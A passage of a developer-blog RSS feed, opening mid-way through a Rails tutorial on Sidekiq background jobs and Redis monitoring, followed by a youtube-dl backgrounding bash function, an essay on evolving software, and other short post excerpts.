&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And it’s getting called from the mailers controller, like so:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# app/controllers/mailers_controller.rb&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MailersController&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;ApplicationController&lt;/span&gt;
  
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create&lt;/span&gt;
    &lt;span class="no"&gt;SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:mailers&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="ss"&gt;:email&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:mailers&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="ss"&gt;:thought&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;flash&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:message&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"You did it! Email sent to &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:mailers&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="ss"&gt;:email&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;redirect_to&lt;/span&gt; &lt;span class="s2"&gt;"/sent"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sent&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With that setup, in my &lt;code class="language-plaintext highlighter-rouge"&gt;rails console&lt;/code&gt;, I can do something like &lt;code class="language-plaintext highlighter-rouge"&gt;SendGifToUserWorker.perform_async("test@test.com", "hello")&lt;/code&gt;, and I get back some sort of GUID:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;main:0&amp;gt; SendGifToUserWorker.perform_async("test@test.com", "hello")
=&amp;gt; "08e6a309cf7c46dc0178c53f"
main:0&amp;gt; SendGifToUserWorker.perform_async("test@test.com", "hello")
=&amp;gt; "8b962d28217ae177564f0fd7"
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Each of these talks to Sidekiq, and you can see these jobs go by in the logs:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;2018-07-27T17:13:55.023Z 10221 TID-ovusw76r0 SendGifToUserWorker JID-08e6a309cf7c46dc0178c53f INFO: start
2018-07-27T17:13:55.023Z 10221 TID-ovusw76r0 SendGifToUserWorker JID-08e6a309cf7c46dc0178c53f INFO: done: 0.0 sec
2018-07-27T17:13:57.521Z 10221 TID-ovusw781o SendGifToUserWorker JID-8b962d28217ae177564f0fd7 INFO: start
2018-07-27T17:13:57.521Z 10221 TID-ovusw781o SendGifToUserWorker JID-8b962d28217ae177564f0fd7 INFO: done: 0.0 sec
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is what it looks like, in the logs and sidekiq web, running the jobs from the Rails console:&lt;/p&gt;

&lt;p&gt;&lt;img alt="rails console, sidekiq web, and sidekiq" src="/images/2018-07-27_sidekiq_rails_console.gif" /&gt;&lt;/p&gt;

&lt;p&gt;So, cool. My job still isn’t doing anything, but at least it’s running. I guess.&lt;/p&gt;

&lt;h2 id="restart-sidekiq-when-you-make-a-change-to-a-worker"&gt;Restart Sidekiq when you make a change to a worker&lt;/h2&gt;

&lt;p&gt;It makes sense that the Sidekiq worker test might assert JUST that jobs get queued correctly.&lt;/p&gt;

&lt;p&gt;I’m still not content - my tests are passing, &lt;em&gt;without the sidekiq worker actually doing anything&lt;/em&gt;. I’d feel great about a red test related to it.&lt;/p&gt;

&lt;p&gt;Everything to this point &lt;a href="https://github.com/josh-works/turing_sidekiq_tutorial/tree/38f5750293edf3198e11b114851c8d313608f334"&gt;is on commit &lt;code class="language-plaintext highlighter-rouge"&gt;38f5750&lt;/code&gt;&lt;/a&gt;, if you’re following along.&lt;/p&gt;

&lt;p&gt;Sidekiq is queuing the job as I’d expect it to, even though it’s not doing anything.&lt;/p&gt;

&lt;p&gt;.&lt;/p&gt;

&lt;p&gt;.&lt;/p&gt;

&lt;p&gt;.&lt;/p&gt;

&lt;p&gt;I just spent an embarrassing amount of time “troubleshooting” why my worker wasn’t doing what I thought it should do. Turns out &lt;em&gt;you need to restart Sidekiq if you change a Sidekiq job&lt;/em&gt;. Maybe this isn’t always true, but if you’re saying&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;why isn’t  showing up in Sidekiq?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;just restart Sidekiq.&lt;/p&gt;

&lt;h2 id="watching-redis"&gt;Watching Redis&lt;/h2&gt;

&lt;p&gt;I want to make sure that this stuff is getting in and out of Redis as expected. Redis is a super fast key:value store, and we should see stuff getting written to, and read from Redis.&lt;/p&gt;

&lt;p&gt;Use &lt;code class="language-plaintext highlighter-rouge"&gt;redis-server&lt;/code&gt; to start Redis running. It’s pretty boring to watch, and doesn’t show you any information about data placed in/out of it, so not that helpful.&lt;/p&gt;

&lt;p&gt;&lt;img alt="boring redis" src="/images/2018-07-28_redis_01.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Once you have &lt;code class="language-plaintext highlighter-rouge"&gt;redis-server&lt;/code&gt; running, you can run (in another terminal tab) &lt;code class="language-plaintext highlighter-rouge"&gt;redis-cli monitor&lt;/code&gt;, which dumps you into something that prints a TON of logs when it’s not doing anything. (all of the &lt;code class="language-plaintext highlighter-rouge"&gt;hmset macbookpro&lt;/code&gt; stuff is still &lt;em&gt;me doing nothing&lt;/em&gt;. It’s reading “server status” details like a hyperactive chipmunk on crack.)&lt;/p&gt;

&lt;p&gt;&lt;img alt="slow your roll, Redis" src="/images/2018-07-28_redis_02.gif" /&gt;&lt;/p&gt;

&lt;p&gt;I found the signal-to-noise ratio of &lt;code class="language-plaintext highlighter-rouge"&gt;redis-cli monitor&lt;/code&gt; to make it near-useless. What we care about in Redis are &lt;code class="language-plaintext highlighter-rouge"&gt;hset&lt;/code&gt;, and &lt;code class="language-plaintext highlighter-rouge"&gt;lpush&lt;/code&gt;. Maybe more, but this is sufficient for finding what I want.&lt;/p&gt;

&lt;p&gt;So, once you’ve got redis running, to watch the logs for JUST &lt;code class="language-plaintext highlighter-rouge"&gt;hset&lt;/code&gt;s and &lt;code class="language-plaintext highlighter-rouge"&gt;lpush&lt;/code&gt;es, run:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;redis-cli monitor | grep -E "(hset|lpush)"&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And you’ll see nothing, until Sidekiq pushes jobs to Redis, and reads from it:&lt;/p&gt;

&lt;p&gt;&lt;img alt="thank you, redis" src="/images/2018-07-28_redis_03.gif" /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://redis.io/commands/hset"&gt;redis docs for &lt;code class="language-plaintext highlighter-rouge"&gt;hset&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://redis.io/commands/lpush"&gt;redis docs for &lt;code class="language-plaintext highlighter-rouge"&gt;lpush&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here’s those lines, formatted for easier reading:&lt;/p&gt;

&lt;h3 id="lpush"&gt;lpush&lt;/h3&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="mf"&gt;1532784329.095661&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="mf"&gt;127.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53832&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;lpush&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="ss"&gt;:default&lt;/span&gt; 
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="ss"&gt;:SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;flop&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="k"&gt;retry&lt;/span&gt;&lt;span class="ss"&gt;:true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="ss"&gt;:default&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;jid&lt;/span&gt;&lt;span class="ss"&gt;:adfa15f29ed6c09cda7f6973&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;1532784329.095427&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;enqueued_at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;1532784329.095466&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="hset"&gt;hset&lt;/h3&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="mf"&gt;1532784332.778327&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="mf"&gt;127.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53803&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;hset&lt;/span&gt; &lt;span class="no"&gt;MacBook&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="no"&gt;Pro&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6715&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;local&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32134&lt;/span&gt;&lt;span class="ss"&gt;:cc8d1568c5c6:workers&lt;/span&gt; &lt;span class="n"&gt;ow3kb5tjc&lt;/span&gt; 
  &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="ss"&gt;:default&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="ss"&gt;payload:
      &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="ss"&gt;:SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="n"&gt;flip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;flop&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="k"&gt;retry&lt;/span&gt;&lt;span class="ss"&gt;:true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="ss"&gt;:default&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;jid&lt;/span&gt;&lt;span class="ss"&gt;:adfa15f29ed6c09cda7f6973&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;created_at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;1532784329.095427&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;enqueued_at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;1532784329.095466&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="n"&gt;run_at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1532784329&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By the way, Redis is a bit cleaner if you run the server as a background process. To do this, do:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;redis-server &amp;amp;&lt;/code&gt; (the &lt;code class="language-plaintext highlighter-rouge"&gt;&amp;amp;&lt;/code&gt; makes it a background process).&lt;/p&gt;

&lt;p&gt;To stop Redis, just do &lt;code class="language-plaintext highlighter-rouge"&gt;redis-cli shutdown&lt;/code&gt;&lt;/p&gt;

&lt;h2 id="what-doesdoes-not-occur"&gt;What does/does not occur&lt;/h2&gt;

&lt;p&gt;So, how can we be sure that our Sidekiq job is actually firing? Lets see what it looks like, using this worker &lt;em&gt;with&lt;/em&gt; Sidekiq, and without.&lt;/p&gt;

&lt;p&gt;Compare these two lines:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="no"&gt;SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:mailers&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="ss"&gt;:email&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:mailers&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="ss"&gt;:thought&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="no"&gt;SendGifToUserWorker&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perform_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:mailers&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="ss"&gt;:email&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:mailers&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="ss"&gt;:thought&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Which one is using Sidekiq?&lt;/p&gt;

&lt;p&gt;The first line is creating a new instance of the worker class, and calling &lt;code class="language-plaintext highlighter-rouge"&gt;perform&lt;/code&gt; directly on it. &lt;em&gt;It’s not hitting Sidekiq&lt;/em&gt;, and if the job fails, it won’t requeue.&lt;/p&gt;

&lt;p&gt;At least, I think this is the case.&lt;/p&gt;

&lt;p&gt;Here’s what &lt;code class="language-plaintext highlighter-rouge"&gt;rails server&lt;/code&gt; (left), redis (filtering for &lt;code class="language-plaintext highlighter-rouge"&gt;hset&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;lpush&lt;/code&gt; events, top right) and Sidekiq (bottom right) look like when I trigger the email worker:&lt;/p&gt;

&lt;p&gt;&lt;img alt="using sidekiq" src="/images/2018-07-30_sidekiq_02.gif" title="using sidekiq" /&gt;&lt;/p&gt;

&lt;p&gt;Here’s how I can see a job using &lt;code class="language-plaintext highlighter-rouge"&gt;Worker.new.perform&lt;/code&gt; doesn’t “hit” sidekiq:&lt;/p&gt;

&lt;p&gt;&lt;img alt="not using sidekiq" src="/images/2018-07-30_sidekiq_01.gif" title="not using sidekiq" /&gt;&lt;/p&gt;

&lt;p&gt;The Rails server just sits for a while, and redis and Sidekiq seem clueless of the event?&lt;/p&gt;

&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;One of the bugs I was working with, the root of the problem was the worker/job seemed to not be requeuing when it failed. I spent time touching up the worker, and logging around the specific error (it was a timeout on an internal API endpoint), but even after rescuing the timeout, the job wasn’t happening again.&lt;/p&gt;

&lt;p&gt;Someone else on the team wisely pointed out that the entire worker was getting called with &lt;code class="language-plaintext highlighter-rouge"&gt;Worker.new.perform()&lt;/code&gt;, which was sidestepping (oh, the puns) the Sidekiq infrastructure. I understood this to be true, but I still wanted to see it for myself.&lt;/p&gt;

&lt;p&gt;In the process of working through this lesson, I found a &lt;a href="https://stackoverflow.com/questions/19251976/get-sidekiq-to-execute-a-job-immediately"&gt;Stack Overflow post&lt;/a&gt; about “how to make Sidekiq execute a job immediately”. The only answer suggested calling &lt;code class="language-plaintext highlighter-rouge"&gt;Worker.new.perform&lt;/code&gt;, and that must be, for some reason, why this bit of code ended up in our codebase. The developer wanted it to happen immediately, and perhaps did not expect it to fail at any point.&lt;/p&gt;

&lt;p&gt;Anyway, I’m content that I understand the basic difference between &lt;code class="language-plaintext highlighter-rouge"&gt;Worker.perform_async&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;Worker.new.perform&lt;/code&gt;, and next time I encounter an issue like this, I’ll much more quicly wrap my head around it.&lt;/p&gt;

&lt;h2 id="resources"&gt;Resources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://github.com/turingschool/backend-curriculum-site/blob/gh-pages/module3/archive/lessons/background_workers.md"&gt;Turing Sidekiq lesson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.engineyard.com/blog/testing-async-emails-rails-42"&gt;Testing async emails, the Rails 4.2+ way&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://stackoverflow.com/questions/30119144/rails-how-to-switch-between-dev-and-production-mode"&gt;Quickly booting &lt;code class="language-plaintext highlighter-rouge"&gt;rails s&lt;/code&gt; into production&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://stackoverflow.com/questions/7829480/no-route-matches-get-assets"&gt;No route matches [GET] /assets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://stackoverflow.com/questions/14713084/how-to-see-set-get-in-redis-log"&gt;StackOverflow: How to see set/get/ in redis log&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Mon, 30 Jul 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/sidekiq-and-background-jobs-in-rails-for-beginners</guid></item><item><title>Run youtube-dl (or similar) in the background</title><link>https://smcleod.net/2018/07/run-youtube-dl-or-similar-in-the-background/</link><description>&lt;p&gt;I wanted an alias or function to use &lt;a href="https://rg3.github.io/youtube-dl/"&gt;&lt;code&gt;youtube-dl&lt;/code&gt;&lt;/a&gt; in the background.
Looking around the web lots of people seemed to want this and most of them were banging their heads against a wall due to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A) bash quoting&lt;/li&gt;
&lt;li&gt;B) backgrounding dying when their terminal closed&lt;/li&gt;
&lt;li&gt;C) passing the argument (url in my case) to the function&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here&amp;rsquo;s a simple function I whipped up that seems to &amp;lsquo;just works&amp;rsquo;™:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; yt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  nohup youtube-dl &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; --no-progress 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &amp;gt; youtube-dl-&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date +%Y%m%d-%H%M%S&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;.log &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And if you don&amp;rsquo;t want logs, simply send the output to &lt;code&gt;/dev/null&lt;/code&gt;:&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Mon, 30 Jul 2018 11:52:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2018/07/run-youtube-dl-or-similar-in-the-background/</guid></item><item><title>Dynamic Shell Scripting</title><link>https://www.anardil.net/2018/dynamic-shell-scripting.html</link><description>&lt;p&gt;Manipulating functions in Bash for fun and profit&lt;/p&gt;</description><author>Anardil</author><pubDate>Mon, 30 Jul 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2018/dynamic-shell-scripting.html</guid></item><item><title>Stratus Sphere: a guest post about personal clouds...</title><link>https://stop.zona-m.net/2018/07/stratus-sphere-a-guest-post-about-personal-clouds.../</link><description>&lt;p&gt;..and how host and federate (=connect) them.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 29 Jul 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/stratus-sphere-a-guest-post-about-personal-clouds.../</guid></item><item><title>A Gentle Introduction to Lambda Calculus - Part 1: Syntax</title><link>https://lucasfcosta.com/blog/An-Introduction-to-Lambda-Calculus-Part-1/</link><description>Even though lots of people nowadays advocate for applying functional programming principles to JavaScript, not many of them know the principles of Lambda Calculus and how it all started.

Theory of c...</description><author>Lucas F. Costa - Blog</author><pubDate>Sun, 29 Jul 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/An-Introduction-to-Lambda-Calculus-Part-1/</guid></item><item><title>Write Software that Evolves</title><link>https://dylanpaulus.com/posts/2018/write-software-that-evolves/</link><description>&lt;p&gt;In software development, we can easily get trapped in &lt;a href="https://en.wikipedia.org/wiki/Analysis_paralysis"&gt;analysis paralysis&lt;/a&gt;. Having the foresight to make all the correct decisions is hard. We make hundreds, if not thousands, of decisions during the lifetime of our software, and we're likely to get something wrong. Instead of trying to get every minutia correct before starting a project, we should aim to write software that can evolve.&lt;/p&gt;
&lt;h3&gt;Continuous Minimum Viable Product Development&lt;/h3&gt;
&lt;p&gt;One approach to combat the constant changing of requirements is to strive for continuous minimum viable product (MVP) development. An MVP is the most basic version of a feature or application that satisfies a need. For example, let's say our client wants the ability to view some information. We may only design a page with a table that holds the data (We wouldn't add additional features like filtering or graphs). Notice how I said &lt;em&gt;continuous&lt;/em&gt;. This process shouldn't end after the application/feature is released. Keeping improvements incremental and small allows us to be flexible in our requirements. Do no more or less than what's being asked.&lt;/p&gt;
&lt;h3&gt;Lazy Evaluation&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;“I’m sure the user would need this feature. It’s easy, I’ll just add it”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This kind of thinking is a killer to flexible software. First, every line of code has a cost. Not only are there time, money, and energy in initially writing the code, but also the maintenance and surface area for bugs create its own cost. Second, the feature added could never be used by the user or just wrong! In the best scenario, this doubles the amount of work adding the feature.&lt;/p&gt;
&lt;p&gt;Instead of eagerly evaluating requirements, flexible software works best through lazy evaluation. Wait for the client/stakeholder/user to ask for a feature before implementing it (even on improvements you know they'll ask for). Lazy evaluation has a few benefits. It reduces adding features the user won't use--they asked for it. It also allows us to really understand what the user is really asking for. Instead of creating something then asking, "is this what you want?" we're able to get upfront the ideal process.&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;Instead of picking a target and firing--hoping we hit something, combining continuous MVP and lazy evaluation keeps us agile. It allows firing in a direction and incrementally changing course as the target moves. Of course, do your homework and gather requirements beforehand, but aim for software that can evolve over time instead of trying to get it right from the start.&lt;/p&gt;</description><author>Dylan Paulus' Blog</author><pubDate>Sun, 29 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://dylanpaulus.com/posts/2018/write-software-that-evolves/</guid></item><item><title>Hey Silicon Valley: why don't you disrupt TOILETS?</title><link>https://stop.zona-m.net/2018/07/hey-silicon-valley-why-dont-you-disrupt-toilets/</link><description>&lt;p&gt;Many millions of people still have no sensible toilets. Millions of others play with 21st century smartphones, while sitting on 19th century toilets. Progress this is not.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 28 Jul 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/hey-silicon-valley-why-dont-you-disrupt-toilets/</guid></item><item><title>Visual Vacation</title><link>https://www.masswerk.at/nowgobang/2018/visual-vacation</link><description>Visual vacation... (link)</description><author>mass:werk – Now Go Bang!</author><pubDate>Sat, 28 Jul 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://www.masswerk.at/nowgobang/2018/visual-vacation</guid></item><item><title>Tracking Goals in Todoist</title><link>/goals-in-todoist/</link><description>&lt;p&gt;“There is always an app for that” is a phrase I heard repeatedly when I was looking at something to keep tabs on my goals, both short and long-term. But you know what, I don’t want an app! I began to consider using &lt;a href="https://en.todoist.com/"&gt;Todoist&lt;/a&gt;, my task management app for doing this. After all, it’s one of my most used applications so there is less likelihood of me forgetting about it on the back page of a folder. Instead, it would be right front and center. Whilst I’m sure that all those goal management apps have some useful feature, you might be interested to see how you could use Todoist (or indeed any task management app) to keep track of your goals.&lt;/p&gt;
&lt;p&gt;The idea of “task management” may begin to make your goal seem more like a chore but, on the other hand, it makes you think of the goal in more segmented achievable chunks. This really aided me as it helped me apply the age-old advice of being specific and actionable with my goals. Rather than go to the gym, I create tasks to go to the gym on certain days. Additionally, tasks have completion dates so you can set each of those segments against a date to check in with the goal you are attempting to achieve.&lt;/p&gt;
&lt;p&gt;Now I’m going to dig into the specifics of how you can set your task manager up to work with your goals. Although this article is geared around Todoist, most task management/productivity type apps will have this. Other apps you could do this with are &lt;a href="https://www.omnigroup.com/omnifocus"&gt;Omnifocus&lt;/a&gt;, &lt;a href="https://www.notion.so/"&gt;Notion&lt;/a&gt;, &lt;a href="https://culturedcode.com/"&gt;Things&lt;/a&gt;, Any.do and Microsoft Todo (formerly &lt;a href="https://www.wunderlist.com/"&gt;Wunderlist&lt;/a&gt;).&lt;/p&gt;
&lt;h2&gt;Create a goal project&lt;/h2&gt;
&lt;div class="image"&gt;
	&lt;img src="https://cdn-images-1.medium.com/max/2000/0*yEtGLCX52onL5Kle" /&gt;
	&lt;em&gt;The championship is so close!&lt;/em&gt;
&lt;/div&gt;
